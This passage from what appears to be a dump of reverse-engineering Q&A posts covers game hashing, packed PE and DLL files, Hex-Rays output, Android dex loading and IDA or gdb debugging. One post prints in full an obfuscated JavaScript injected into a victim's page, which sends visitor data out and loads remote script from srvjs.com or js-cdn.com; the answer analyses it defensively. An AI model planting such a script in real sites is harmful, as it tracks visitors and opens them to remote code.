I'm skipping ones with text very specific to this particular game.</p>\n\n<ul>\n<li>20: [Game copyright notice. I think this is the hash of the empty string.]</li>\n<li>576: \"5\"</li>\n<li>614: \"10\"</li>\n<li>2681: \"25\"</li>\n<li>2684: \"OK\"</li>\n<li>53444: \"On\"</li>\n<li>87305: [Skipped; two words]</li>\n<li>88410: \"NEW\"</li>\n<li>2444912: \"Off\"</li>\n<li>2553265: \"\u0253 Back\" (This is allowed because strings are UTF-16.)</li>\n<li>2661022: \"Normal\"</li>\n<li>2736539: \"Expert\"</li>\n<li>2963284: [Skipped; a sentence with markup]</li>\n<li>3020267: \"POCS\" (I have no idea what this means.)</li>\n<li>7314642: \"Rank:\"</li>\n</ul>\n\n<p>Do you have any ideas about what the hash algorithm could be?</p>\n",
        "Title": "Identifying a very weak hash algorithm",
        "Tags": "|static-analysis|strings|hash-functions|",
        "Answer": "<p>I actually found the hash function today by reverse-engineering the game's code. Here it is, translated to Python:</p>\n\n<pre><code>def hashFunction(data):\n    h = -1\n\n    for c in data:\n        if (c - 65) &amp; 0xFFFFFFFF &lt;= 0x19:\n            c |= 0x20\n\n        h = (h * 33 + c) &amp; 0xFFFFFFFF\n\n    return h\n</code></pre>\n\n<p>When run with <code>b'5'</code>, <code>b'10'</code>, <code>b'25'</code>, etc., this function returns hash values seen in the table I posted. They don't match the corresponding keys in that table due to a bug in my text extraction script (oops).</p>\n"
    },
    {
        "Id": "13852",
        "CreationDate": "2016-11-02T12:41:00.407",
        "Body": "<p>I have pulled bunch of files from Virus Total based on hashes, one sample (<code>SHA256 == 3e6ee07c883a6a0e939300a18c61d639a0dea49521037fef09ae77b76f70f843</code>) was really weird. </p>\n\n<p>Basically it is PE file (*.exe file to be more precise), however first two bytes in file are <code>SR</code> instead of <code>MZ</code>.</p>\n\n<p>Have been looking online if it can be some <em>magic</em> that can be executed in Windows machines but no success. I guess it is some kind of corrupted file, however not sure, so asking if someone has any references to <code>SR</code> files.</p>\n",
        "Title": "\"SR\" instead of \"MZ\"",
        "Tags": "|windows|pe|",
        "Answer": "<p>Probably it's just a measure to prevent scanning of the file by standard antiviruses. I suspect the malware either restores <code>MZ</code> before actually running the file, or uses a custom loader (a la RunPE) to map and execute it, and of course the custom loader can be coded to handle the <code>SR</code> signature in addition (or instead of) <code>MZ</code>.</p>\n"
    },
    {
        "Id": "13855",
        "CreationDate": "2016-11-03T08:42:32.860",
        "Body": "<p>I'm aware, that Hex-Rays provides pseudocode, which is not supposed to be compiled, but I'm trying to do it.</p>\n\n<p>So far I stopped on instructions like that:</p>\n\n<pre><code>char (__usercall *__fastcall sub_947770(__int64 a1, __int64 a2))@&lt;al&gt;(__int64 a1@&lt;rdx&gt;, __m128i *a2@&lt;xmm6&gt;);\n</code></pre>\n\n<p>Those @&lt; a1 > a1@&lt; rdx >, etc are not recognizable by MSVC 2015 compiler. Is  there any way to compile this code or to setup decompilation options to generate something more compiler-friendly?</p>\n",
        "Title": "Compile Hex-Rays code",
        "Tags": "|decompilation|hexrays|",
        "Answer": "<p>Try changing this line to:</p>\n\n<p>char * FASTCALL sub_947770(int64 a1, int64 a2)</p>\n"
    },
    {
        "Id": "13859",
        "CreationDate": "2016-11-03T18:29:11.617",
        "Body": "<p>How to patch dll file packed by themida? I've dumped the unpacked file and patched it. But the program didn't recognize the unpacked dll. The original file and dumped file have ~8mb different size.</p>\n\n<p>I tried to patch it while running inside debugger</p>\n\n<p><a href=\"https://i.stack.imgur.com/YvZwy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YvZwy.png\" alt=\"enter image description here\"></a></p>\n\n<p>Still no luck. Any idea how to patch it?</p>\n",
        "Title": "Patch packed DLL by themida",
        "Tags": "|ida|dll|packers|patching|",
        "Answer": "<p><strong>Many possibilities:</strong></p>\n\n<ul>\n<li>You didn't unpack the dll properly, maybe you forget to fix the relocations (since it's a dll).</li>\n<li>The program is using a checksum algorithm to detect if the dll is tampered.</li>\n<li>That specific dll isn't your target, maybe you should do more dynamic analysis before start unpacking</li>\n<li>Or any other possibilities.</li>\n</ul>\n\n<p>*P.S: you shall consider inline patching instead of unpacking the dll since your aim is to patch the dll.</p>\n"
    },
    {
        "Id": "13868",
        "CreationDate": "2016-11-05T17:10:26.440",
        "Body": "<p>I've a couple of questions regarding this javascript code, I found injected in one of my web pages.</p>\n\n<ol>\n<li>What is this script doing?</li>\n<li>Which tool is used to pack or obfuscate this script?</li>\n<li>How can I learn the working of this script?</li>\n</ol>\n\n<p>I've used this tool: <a href=\"http://dean.edwards.name/unpacker/\" rel=\"nofollow noreferrer\">http://dean.edwards.name/unpacker/</a> but it returning error:</p>\n\n<blockquote>\n  <p>error unpacking script: Unexpected token {</p>\n</blockquote>\n\n<pre><code>(function(){function x(){var b=K(),a;for(a in b){var m=b[a],c;c=m;if(6!==c.length)c=!1;else{var d;d=c.match(/^[a-z0-9]+$/)?!0:!1;if(d){c=c.split(\"\");for(index=d=0;index&lt;c.length;++index)d+=c[index].charCodeAt(0);c=465!==d?!1:!0}else c=!1}if(c&amp;&amp;(\"undefined\"===typeof disable_override||!disable_override))return m}return\"gie462\"}function K(){for(var b,a=/\\+/g,m=/([^&amp;=]+)=?([^&amp;]*)/g,c=function(b){b=b.replace(a,\" \");var c;a:{c=b;var d=\"%20 %21 %22 %23 %24 %25 %26 %27 %28 %29 %2A %2B %2C %2D %2E %2F %3A %3B %3C %3D %3E %3F %40 %5B %5C %5D %5E %5F %7B %7C %7D %7E %60\".split(\" \");\n    for(i=0;i&lt;d.length;i++)if(-1!==c.indexOf(d[i])){c=!0;break a}c=!1}return c?decodeURIComponent(b):b},d=window.location.search.substring(1),e={};b=m.exec(d);)e[c(b[1])]=c(b[2]);return e}function q(){for(var b=document.getElementsByTagName(\"script\"),a=0;a&lt;b.length;a++)if(-1!=b[a].src.indexOf(\"gie462\"))return b[a]}function H(b){return String.fromCharCode.apply(null,arguments)}var l={alphabet:\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\",lookup:null,ie:/MSIE /.test(navigator.userAgent),\n    ieo:/MSIE [67]/.test(navigator.userAgent),encode:function(b){b=l.toUtf8(b);var a=-1,m=b.length,c,d,e=[,,,];if(l.ie){for(var r=[];++a&lt;m;)c=b[a],d=b[++a],e[0]=c&gt;&gt;2,e[1]=(c&amp;3)&lt;&lt;4|d&gt;&gt;4,isNaN(d)?e[2]=e[3]=64:(c=b[++a],e[2]=(d&amp;15)&lt;&lt;2|c&gt;&gt;6,e[3]=isNaN(c)?64:c&amp;63),r.push(l.alphabet.charAt(e[0]),l.alphabet.charAt(e[1]),l.alphabet.charAt(e[2]),l.alphabet.charAt(e[3]));return r.join(\"\")}for(r=\"\";++a&lt;m;)c=b[a],d=b[++a],e[0]=c&gt;&gt;2,e[1]=(c&amp;3)&lt;&lt;4|d&gt;&gt;4,isNaN(d)?e[2]=e[3]=64:(c=b[++a],e[2]=(d&amp;15)&lt;&lt;2|c&gt;&gt;6,e[3]=isNaN(c)?\n        64:c&amp;63),r+=l.alphabet[e[0]]+l.alphabet[e[1]]+l.alphabet[e[2]]+l.alphabet[e[3]];return r},decode:function(b){if(b.length%4)throw Error(\"decode failed.\");b=l.fromUtf8(b);var a=0,m=b.length;if(l.ieo){for(var c=[];a&lt;m;)128&gt;b[a]?c.push(String.fromCharCode(b[a++])):191&lt;b[a]&amp;&amp;224&gt;b[a]?c.push(String.fromCharCode((b[a++]&amp;31)&lt;&lt;6|b[a++]&amp;63)):c.push(String.fromCharCode((b[a++]&amp;15)&lt;&lt;12|(b[a++]&amp;63)&lt;&lt;6|b[a++]&amp;63));return c.join(\"\")}for(c=\"\";a&lt;m;)c=128&gt;b[a]?c+String.fromCharCode(b[a++]):191&lt;b[a]&amp;&amp;224&gt;b[a]?c+String.fromCharCode((b[a++]&amp;\n        31)&lt;&lt;6|b[a++]&amp;63):c+String.fromCharCode((b[a++]&amp;15)&lt;&lt;12|(b[a++]&amp;63)&lt;&lt;6|b[a++]&amp;63);return c},toUtf8:function(b){var a=-1,m=b.length,c,d=[];if(/^[\\x00-\\x7f]*$/.test(b))for(;++a&lt;m;)d.push(b.charCodeAt(a));else for(;++a&lt;m;)c=b.charCodeAt(a),128&gt;c?d.push(c):2048&gt;c?d.push(c&gt;&gt;6|192,c&amp;63|128):d.push(c&gt;&gt;12|224,c&gt;&gt;6&amp;63|128,c&amp;63|128);return d},fromUtf8:function(b){var a=-1,m,c=[],d=[,,,];if(!l.lookup){m=l.alphabet.length;for(l.lookup={};++a&lt;m;)l.lookup[l.alphabet.charAt(a)]=a;a=-1}for(m=b.length;++a&lt;m;){d[0]=\n        l.lookup[b.charAt(a)];d[1]=l.lookup[b.charAt(++a)];c.push(d[0]&lt;&lt;2|d[1]&gt;&gt;4);d[2]=l.lookup[b.charAt(++a)];if(64==d[2])break;c.push((d[1]&amp;15)&lt;&lt;4|d[2]&gt;&gt;2);d[3]=l.lookup[b.charAt(++a)];if(64==d[3])break;c.push((d[2]&amp;3)&lt;&lt;6|d[3])}return c}};(function(){function b(a,c){function e(g){if(e[g]!==w)return e[g];var h;if(\"bug-string-char-index\"==g)h=!1;else if(\"json\"==g)h=e(\"json-stringify\")&amp;&amp;e(\"json-parse\");else{var a;if(\"json-stringify\"==g){h=c.stringify;var b=\"function\"==typeof h&amp;&amp;t;if(b){(a=function(){return 1}).toJSON=\n    a;try{b=\"0\"===h(0)&amp;&amp;\"0\"===h(new l)&amp;&amp;'\"\"'==h(new x)&amp;&amp;h(u)===w&amp;&amp;h(w)===w&amp;&amp;h()===w&amp;&amp;\"1\"===h(a)&amp;&amp;\"[1]\"==h([a])&amp;&amp;\"[null]\"==h([w])&amp;&amp;\"null\"==h(null)&amp;&amp;\"[null,null,null]\"==h([w,u,null])&amp;&amp;'{\"a\":[1,true,false,null,\"\\\\u0000\\\\b\\\\n\\\\f\\\\r\\\\t\"]}'==h({a:[a,!0,!1,null,\"\\x00\\b\\n\\f\\r\\t\"]})&amp;&amp;\"1\"===h(null,a)&amp;&amp;\"[\\n 1,\\n 2\\n]\"==h([1,2],null,1)&amp;&amp;'\"-271821-04-20T00:00:00.000Z\"'==h(new q(-864E13))&amp;&amp;'\"+275760-09-13T00:00:00.000Z\"'==h(new q(864E13))&amp;&amp;'\"-000001-01-01T00:00:00.000Z\"'==h(new q(-621987552E5))&amp;&amp;'\"1969-12-31T23:59:59.999Z\"'==\n    h(new q(-1))}catch(d){b=!1}}h=b}if(\"json-parse\"==g){h=c.parse;if(\"function\"==typeof h)try{if(0===h(\"0\")&amp;&amp;!h(!1)){a=h('{\"a\":[1,true,false,null,\"\\\\u0000\\\\b\\\\n\\\\f\\\\r\\\\t\"]}');var B=5==a.a.length&amp;&amp;1===a.a[0];if(B){try{B=!h('\"\\t\"')}catch(d){}if(B)try{B=1!==h(\"01\")}catch(d){}if(B)try{B=1!==h(\"1.\")}catch(d){}}}}catch(d){B=!1}h=B}}return e[g]=!!h}a||(a=d.Object());c||(c=d.Object());var l=a.Number||d.Number,x=a.String||d.String,r=a.Object||d.Object,q=a.Date||d.Date,E=a.SyntaxError||d.SyntaxError,H=a.TypeError||\n    d.TypeError,K=a.Math||d.Math,I=a.JSON||d.JSON;\"object\"==typeof I&amp;&amp;I&amp;&amp;(c.stringify=I.stringify,c.parse=I.parse);var r=r.prototype,u=r.toString,v,D,w,t=new q(-0xc782b5b800cec);try{t=-109252==t.getUTCFullYear()&amp;&amp;0===t.getUTCMonth()&amp;&amp;1===t.getUTCDate()&amp;&amp;10==t.getUTCHours()&amp;&amp;37==t.getUTCMinutes()&amp;&amp;6==t.getUTCSeconds()&amp;&amp;708==t.getUTCMilliseconds()}catch(g){}if(!e(\"json\")){var F=e(\"bug-string-char-index\");if(!t)var y=K.floor,Q=[0,31,59,90,120,151,181,212,243,273,304,334],G=function(g,h){return Q[h]+365*\n    (g-1970)+y((g-1969+(h=+(1&lt;h)))/4)-y((g-1901+h)/100)+y((g-1601+h)/400)};(v=r.hasOwnProperty)||(v=function(g){var h={},a;(h.__proto__=null,h.__proto__={toString:1},h).toString!=u?v=function(g){var a=this.__proto__;g=g in(this.__proto__=null,this);this.__proto__=a;return g}:(a=h.constructor,v=function(g){var h=(this.constructor||a).prototype;return g in this&amp;&amp;!(g in h&amp;&amp;this[g]===h[g])});h=null;return v.call(this,g)});D=function(g,a){var c=0,b,d,f;(b=function(){this.valueOf=0}).prototype.valueOf=0;d=\n    new b;for(f in d)v.call(d,f)&amp;&amp;c++;b=d=null;c?D=2==c?function(g,a){var h={},c=\"[object Function]\"==u.call(g),b;for(b in g)c&amp;&amp;\"prototype\"==b||v.call(h,b)||!(h[b]=1)||!v.call(g,b)||a(b)}:function(g,a){var h=\"[object Function]\"==u.call(g),b,c;for(b in g)h&amp;&amp;\"prototype\"==b||!v.call(g,b)||(c=\"constructor\"===b)||a(b);(c||v.call(g,b=\"constructor\"))&amp;&amp;a(b)}:(d=\"valueOf toString toLocaleString propertyIsEnumerable isPrototypeOf hasOwnProperty constructor\".split(\" \"),D=function(g,a){var h=\"[object Function]\"==\n    u.call(g),b,c=!h&amp;&amp;\"function\"!=typeof g.constructor&amp;&amp;m[typeof g.hasOwnProperty]&amp;&amp;g.hasOwnProperty||v;for(b in g)h&amp;&amp;\"prototype\"==b||!c.call(g,b)||a(b);for(h=d.length;b=d[--h];c.call(g,b)&amp;&amp;a(b));});return D(g,a)};if(!e(\"json-stringify\")){var R={92:\"\\\\\\\\\",34:'\\\\\"',8:\"\\\\b\",12:\"\\\\f\",10:\"\\\\n\",13:\"\\\\r\",9:\"\\\\t\"},z=function(g,a){return(\"000000\"+(a||0)).slice(-g)},N=function(g){for(var a='\"',b=0,c=g.length,d=!F||10&lt;c,f=d&amp;&amp;(F?g.split(\"\"):g);b&lt;c;b++){var k=g.charCodeAt(b);switch(k){case 8:case 9:case 10:case 12:case 13:case 34:case 92:a+=\n    R[k];break;default:a=32&gt;k?a+(\"\\\\u00\"+z(2,k.toString(16))):a+(d?f[b]:g.charAt(b))}}return a+'\"'},L=function(g,a,b,c,d,f,k){var e,p,l,m,n,q,r,t,A;try{e=a[g]}catch(x){}if(\"object\"==typeof e&amp;&amp;e)if(p=u.call(e),\"[object Date]\"!=p||v.call(e,\"toJSON\"))\"function\"==typeof e.toJSON&amp;&amp;(\"[object Number]\"!=p&amp;&amp;\"[object String]\"!=p&amp;&amp;\"[object Array]\"!=p||v.call(e,\"toJSON\"))&amp;&amp;(e=e.toJSON(g));else if(e&gt;-1/0&amp;&amp;e&lt;1/0){if(G){m=y(e/864E5);for(p=y(m/365.2425)+1970-1;G(p+1,0)&lt;=m;p++);for(l=y((m-G(p,0))/30.42);G(p,l+1)&lt;=m;l++);\n    m=1+m-G(p,l);n=(e%864E5+864E5)%864E5;q=y(n/36E5)%24;r=y(n/6E4)%60;t=y(n/1E3)%60;n%=1E3}else p=e.getUTCFullYear(),l=e.getUTCMonth(),m=e.getUTCDate(),q=e.getUTCHours(),r=e.getUTCMinutes(),t=e.getUTCSeconds(),n=e.getUTCMilliseconds();e=(0&gt;=p||1E4&lt;=p?(0&gt;p?\"-\":\"+\")+z(6,0&gt;p?-p:p):z(4,p))+\"-\"+z(2,l+1)+\"-\"+z(2,m)+\"T\"+z(2,q)+\":\"+z(2,r)+\":\"+z(2,t)+\".\"+z(3,n)+\"Z\"}else e=null;b&amp;&amp;(e=b.call(a,g,e));if(null===e)return\"null\";p=u.call(e);if(\"[object Boolean]\"==p)return\"\"+e;if(\"[object Number]\"==p)return e&gt;-1/0&amp;&amp;e&lt;\n1/0?\"\"+e:\"null\";if(\"[object String]\"==p)return N(\"\"+e);if(\"object\"==typeof e){for(g=k.length;g--;)if(k[g]===e)throw H();k.push(e);A=[];a=f;f+=d;if(\"[object Array]\"==p){l=0;for(g=e.length;l&lt;g;l++)p=L(l,e,b,c,d,f,k),A.push(p===w?\"null\":p);g=A.length?d?\"[\\n\"+f+A.join(\",\\n\"+f)+\"\\n\"+a+\"]\":\"[\"+A.join(\",\")+\"]\":\"[]\"}else D(c||e,function(g){var a=L(g,e,b,c,d,f,k);a!==w&amp;&amp;A.push(N(g)+\":\"+(d?\" \":\"\")+a)}),g=A.length?d?\"{\\n\"+f+A.join(\",\\n\"+f)+\"\\n\"+a+\"}\":\"{\"+A.join(\",\")+\"}\":\"{}\";k.pop();return g}};c.stringify=function(g,\n                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             a,b){var c,e,d,f;if(m[typeof a]&amp;&amp;a)if(\"[object Function]\"==(f=u.call(a)))e=a;else if(\"[object Array]\"==f){d={};for(var l=0,p=a.length,n;l&lt;p;n=a[l++],(f=u.call(n),\"[object String]\"==f||\"[object Number]\"==f)&amp;&amp;(d[n]=1));}if(b)if(\"[object Number]\"==(f=u.call(b))){if(0&lt;(b-=b%1))for(c=\"\",10&lt;b&amp;&amp;(b=10);c.length&lt;b;c+=\" \");}else\"[object String]\"==f&amp;&amp;(c=10&gt;=b.length?b:b.slice(0,10));return L(\"\",(n={},n[\"\"]=g,n),e,d,c,\"\",[])}}if(!e(\"json-parse\")){var S=x.fromCharCode,T={92:\"\\\\\",34:'\"',47:\"/\",98:\"\\b\",116:\"\\t\",\n    110:\"\\n\",102:\"\\f\",114:\"\\r\"},f,J,n=function(){f=J=null;throw E();},C=function(){for(var a=J,b=a.length,c,e,d,l,k;f&lt;b;)switch(k=a.charCodeAt(f),k){case 9:case 10:case 13:case 32:f++;break;case 123:case 125:case 91:case 93:case 58:case 44:return c=F?a.charAt(f):a[f],f++,c;case 34:c=\"@\";for(f++;f&lt;b;)if(k=a.charCodeAt(f),32&gt;k)n();else if(92==k)switch(k=a.charCodeAt(++f),k){case 92:case 34:case 47:case 98:case 116:case 110:case 102:case 114:c+=T[k];f++;break;case 117:e=++f;for(d=f+4;f&lt;d;f++)k=a.charCodeAt(f),\n48&lt;=k&amp;&amp;57&gt;=k||97&lt;=k&amp;&amp;102&gt;=k||65&lt;=k&amp;&amp;70&gt;=k||n();c+=S(\"0x\"+a.slice(e,f));break;default:n()}else{if(34==k)break;k=a.charCodeAt(f);for(e=f;32&lt;=k&amp;&amp;92!=k&amp;&amp;34!=k;)k=a.charCodeAt(++f);c+=a.slice(e,f)}if(34==a.charCodeAt(f))return f++,c;n();default:e=f;45==k&amp;&amp;(l=!0,k=a.charCodeAt(++f));if(48&lt;=k&amp;&amp;57&gt;=k){for(48==k&amp;&amp;(k=a.charCodeAt(f+1),48&lt;=k&amp;&amp;57&gt;=k)&amp;&amp;n();f&lt;b&amp;&amp;(k=a.charCodeAt(f),48&lt;=k&amp;&amp;57&gt;=k);f++);if(46==a.charCodeAt(f)){for(d=++f;d&lt;b&amp;&amp;(k=a.charCodeAt(d),48&lt;=k&amp;&amp;57&gt;=k);d++);d==f&amp;&amp;n();f=d}k=a.charCodeAt(f);if(101==\n    k||69==k){k=a.charCodeAt(++f);43!=k&amp;&amp;45!=k||f++;for(d=f;d&lt;b&amp;&amp;(k=a.charCodeAt(d),48&lt;=k&amp;&amp;57&gt;=k);d++);d==f&amp;&amp;n();f=d}return+a.slice(e,f)}l&amp;&amp;n();if(\"true\"==a.slice(f,f+4))return f+=4,!0;if(\"false\"==a.slice(f,f+5))return f+=5,!1;if(\"null\"==a.slice(f,f+4))return f+=4,null;n()}return\"$\"},M=function(a){var b,c;\"$\"==a&amp;&amp;n();if(\"string\"==typeof a){if(\"@\"==(F?a.charAt(0):a[0]))return a.slice(1);if(\"[\"==a){for(b=[];;c||(c=!0)){a=C();if(\"]\"==a)break;c&amp;&amp;(\",\"==a?(a=C(),\"]\"==a&amp;&amp;n()):n());\",\"==a&amp;&amp;n();b.push(M(a))}return b}if(\"{\"==\n    a){for(b={};;c||(c=!0)){a=C();if(\"}\"==a)break;c&amp;&amp;(\",\"==a?(a=C(),\"}\"==a&amp;&amp;n()):n());\",\"!=a&amp;&amp;\"string\"==typeof a&amp;&amp;\"@\"==(F?a.charAt(0):a[0])&amp;&amp;\":\"==C()||n();b[a.slice(1)]=M(C())}return b}n()}return a},P=function(a,b,c){c=O(a,b,c);c===w?delete a[b]:a[b]=c},O=function(a,b,c){var d=a[b],e;if(\"object\"==typeof d&amp;&amp;d)if(\"[object Array]\"==u.call(d))for(e=d.length;e--;)P(d,e,c);else D(d,function(a){P(d,a,c)});return c.call(a,b,d)};c.parse=function(a,b){var c,d;f=0;J=\"\"+a;c=M(C());\"$\"!=C()&amp;&amp;n();f=J=null;return b&amp;&amp;\n\"[object Function]\"==u.call(b)?O((d={},d[\"\"]=c,d),\"\",b):c}}}c.runInContext=b;return c}var a=\"function\"===typeof define&amp;&amp;define.amd,m={\"function\":!0,object:!0},c=m[typeof exports]&amp;&amp;exports&amp;&amp;!exports.nodeType&amp;&amp;exports,d=m[typeof window]&amp;&amp;window||this,e=c&amp;&amp;m[typeof module]&amp;&amp;module&amp;&amp;!module.nodeType&amp;&amp;\"object\"==typeof global&amp;&amp;global;!e||e.global!==e&amp;&amp;e.window!==e&amp;&amp;e.self!==e||(d=e);if(c&amp;&amp;!a)b(d,c);else{var l=d.JSON,x=d.JSON3,q=!1,E=b(d,d.JSON3={noConflict:function(){q||(q=!0,d.JSON=l,d.JSON3=x,l=x=null);\n    return E}});d.JSON={parse:E.parse,stringify:E.stringify}}a&amp;&amp;define(function(){return E})}).call(this);(function(){var b=x(),a=(new Date).getTimezoneOffset()/-1,m=Math.floor(9999999*Math.random()+1E4),c=document.referrer,d=window.location.toString(),e;e=(e=/\\?cr=([^&amp;]+)/.exec(q().src))?l.decode(e[1]):\"\";b=\"?d=\"+l.encode(JSON.stringify({k:b,b:a,c:m,r:c,s:d,cr:e}));a=q().src;a=-1&lt;a.indexOf(\"//\")?a.split(\"/\")[2]:a.split(\"/\")[0];a=a.split(\":\")[0];a=\"//\"+(a?a:H(106,115,45,99,100,110,46,99,111,109))+H(47,\n        105,109,112,47)+x()+\".js\";document.write('&lt;script src=\"'+(a+b)+'\"&gt;\\x3c/script&gt;')})()})();\n</code></pre>\n",
        "Title": "How do I reverse this javascript code? How is it packed?",
        "Tags": "|javascript|",
        "Answer": "<p><strong>1.</strong></p>\n\n<p>The script writes a <code>&lt;script src=...&gt;</code> tag at the end, so to know what it is doing, you could change the last <code>document.write</code> to a <code>console.log</code> or other defanging measures to see that this is written out:</p>\n\n<pre><code>&lt;script src=\"//srvjs.com/imp/gie462.js?d=\u00abbase64\u00bb\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>Visiting that URL <del>gives \"Whoops, looks like something went wrong.\" in HTML</del>, so I guess the script has been inactivated at the moment, or I didn't pass the correct parameters. </p>\n\n<p>If the script is loaded with relative path instead of from <code>srvjs.com</code>, the host becomes <code>js-cdn.com</code> instead. Googling for <code>js-cdn.com</code> gives <a href=\"https://thecomputerperson.wordpress.com/2015/07/12/yet-another-microsoft-scam-support-company-getsupportforyourpc-com-righttechnicalsupport-com/\" rel=\"nofollow noreferrer\">this blog post</a> which indicates the site is related to scam in 2015. </p>\n\n<p>Note that both <code>srvjs.com/imp/gie462.js</code> and <code>js-cdn.com/imp/gie462.js</code> return the same content, so these two websites should be strongly related. </p>\n\n<p><strong>2.</strong></p>\n\n<p>There isn't much obfuscation, I think your unpacker is just not very good in quality. I just used VS Code's beautifier to <a href=\"http://pastebin.com/AsV91hrr\" rel=\"nofollow noreferrer\">get this</a>.</p>\n\n<p><strong>3.</strong></p>\n\n<p>The script is long, mainly because it included a lot of libraries. </p>\n\n<ul>\n<li><p>The <code>var l = {alphabet: ...}</code> part is a base64 encoding library from <a href=\"https://stackoverflow.com/a/24133397/224671\">https://stackoverflow.com/a/24133397/224671</a> (o_O)</p></li>\n<li><p>The <code>function() { ... }.call(this)</code> next it is <a href=\"http://bestiejs.github.io/json3/\" rel=\"nofollow noreferrer\">JSON3</a>. </p></li>\n<li><p>The base64 data sent can be seen to be:</p>\n\n<pre><code>    {\"k\": \"gie462\", \n     \"b\": (timezone),\n     \"c\": (random integer),\n     \"r\": (referrer),\n     \"d\": (current URL),\n     \"cr\": (the parameter `cr` of current page)}\n</code></pre>\n\n<p>which doesn't seem to leak much information about the user before loading the real script (<code>imp/gie462.js</code>). What is done in the real script is yet to be known.</p></li>\n</ul>\n\n<hr>\n\n<p><em>Update 2016 Nov 7th:</em> The script is now up, currently just redirects to <a href=\"http://google.com\" rel=\"nofollow noreferrer\">http://google.com</a> when not given any parameters, so probably still in testing phase.</p>\n"
    },
    {
        "Id": "13873",
        "CreationDate": "2016-11-06T14:55:30.170",
        "Body": "<p>I want to ask if somebody is aware of tools/projects which are similar to the <em>Appcall</em> feature of IDA Pro[1] for Android Apps?</p>\n\n<p>I'm looking for the possibility to run certain methods detected in the smali code without running the whole APK.</p>\n\n<p>Thanks in advance for your help :-)</p>\n\n<p>[1] <a href=\"http://www.hexblog.com/?p=113\" rel=\"nofollow noreferrer\">http://www.hexblog.com/?p=113</a></p>\n",
        "Title": "Call Android method without running whole Android-App",
        "Tags": "|android|gdb|dynamic-analysis|",
        "Answer": "<p>You should be able to write a separate application that dynamically loads the dex file from the app that you are interested in using <a href=\"https://developer.android.com/reference/dalvik/system/DexClassLoader.html\" rel=\"noreferrer\">DexClassLoader</a>, allowing you to construct classes and call methods from that dex file. </p>\n\n<p>You can get the path to the other apk using PackageManager.getApplicationInfo(). The <a href=\"https://developer.android.com/reference/android/content/pm/ApplicationInfo.html#sourceDir,\" rel=\"noreferrer\">sourceDir</a> field of the returned ApplicationInfo object will have the path to the apk.</p>\n"
    },
    {
        "Id": "13877",
        "CreationDate": "2016-11-07T05:14:52.713",
        "Body": "<p>I debug a program with IDA, it have a part of code that i don't understand </p>\n\n<pre><code>loc_8048E30:                            ; CODE XREF: phase_6+9Ej\n.text:08048E30 mov     esi, [esi+8]\n.text:08048E33 inc     ebx\n.text:08048E34 cmp     ebx, eax\n.text:08048E36 jl      short loc_8048E30   \n</code></pre>\n\n<p>line 1: <code>mov esi, [esi+8]</code> when I debug address of esi is <code>0x804B260</code> so <code>esi+8</code> is <code>0x804B268</code>.</p>\n\n<p>The value in <code>[esi+8]</code> is <code>60h</code> so after <code>mov esi, [esi+8]</code>, the value in <code>esi</code> is <code>60h</code> but it really is <code>0x804B260</code>. Why it is <code>0x804B260</code>? </p>\n\n<p>And when esi is named .data:node2, it is linked link?</p>\n\n<p><a href=\"https://i.stack.imgur.com/wjNoC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wjNoC.png\" alt=\"enter image description here\"></a> \n<a href=\"https://i.stack.imgur.com/e9u92.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/e9u92.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Linked list in IDA",
        "Tags": "|ida|x86|",
        "Answer": "<p>The instruction <code>mov esi, [esi + 8]</code> copies <strong>4 bytes</strong> (DWORD) of data at the location pointed to by <code>esi + 8</code>to register <code>esi</code>. </p>\n\n<p>In your case <code>esi</code> is <code>0804B260</code> so it copies <strong>4 bytes</strong> from <code>0804B268</code>. Since x86_64 is little endian the least significant byte as per the screenshot 1 is 0x60. The remaining three bytes are located below (not in the picture).</p>\n\n<p>It is named <code>node2</code> as it is an exported symbol.</p>\n"
    },
    {
        "Id": "13881",
        "CreationDate": "2016-11-08T08:32:51.230",
        "Body": "<p>I'm debugging <code>android jni</code> with <code>gdb</code>. There's a <code>jni</code> function <code>A()</code>, I need to set <code>breakpoint</code> there and step through. I calculated the address with <code>module_base+offset</code>, which is <code>0x99B62C7A</code>, then I tried to verify if it's the right address, with <code>gdb</code> command:</p>\n\n<pre><code>display /5i 0x99B62C7A\n</code></pre>\n\n<p>It prints some unexpected instructions, which is different from <code>IDA</code>:\n<a href=\"https://i.stack.imgur.com/YU1WQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YU1WQ.png\" alt=\"enter image description here\"></a></p>\n\n<p>And if I put a <code>breakpoint</code> there and click on the UI to trigger the <code>breakpoint</code>, the process crashes with <code>SIGSEGV</code>. </p>\n\n<p>So why <code>gdb</code> displays different instructions? Is the crash has something to do with the bad instruction?</p>\n",
        "Title": "gdb shows wrong instruction",
        "Tags": "|ida|android|gdb|",
        "Answer": "<p>Your instructions shown by Ida are Thumb-mode instructions. The easiest way to verify this is by checking the addresses - each instruction has 2 bytes. Gdb doesn't know this however, and assumes 4 byte arm instructions. When an object has a symbol table, gdb can detect the instruction mode from that, but will fallback to a default mode when it can't. You can change this fallback mode; <code>set arm fallback-mode thumb</code> should do the trick.</p>\n\n<p>This explains the SIGSEGV as well as breakpoints use different opcodes in arm and thumb mode.</p>\n"
    },
    {
        "Id": "13884",
        "CreationDate": "2016-11-08T10:21:14.887",
        "Body": "<p>I am analysing obfuscated code which contains code paths leading to dummy instructions. These dummy instructions prevent IDA from creating functions. However, I need these functions to do a function matching with Bindiff.</p>\n\n<p>While I was patching these functions manually, the output of the \"Make Function\" feature (by pressing \"p\") contained the address where it encountered a problem. This information was very helpful to pinpoint the next dummy instruction.</p>\n\n<p>To speed up this process I started to write a Python script. I managed to identify the start addresses of functions containing dummy instructions. However, unlike in the IDA Pro UI the API function MakeFunction() only returns true or false to indicate a (un)successful creation.</p>\n\n<p>I tried to get the same address as reported in the output window by other means like \"Jump to next unexplored\", but no luck. The only other way I found is to use the \"Jump to Problem\" option which again I only can access in the UI.</p>\n\n<p>Is there a way to get the address where MakeFunction() failed in Python, just like in the UI?</p>\n",
        "Title": "How to get address where MakeFunction() failed in IDA Pro",
        "Tags": "|ida|idapython|deobfuscation|",
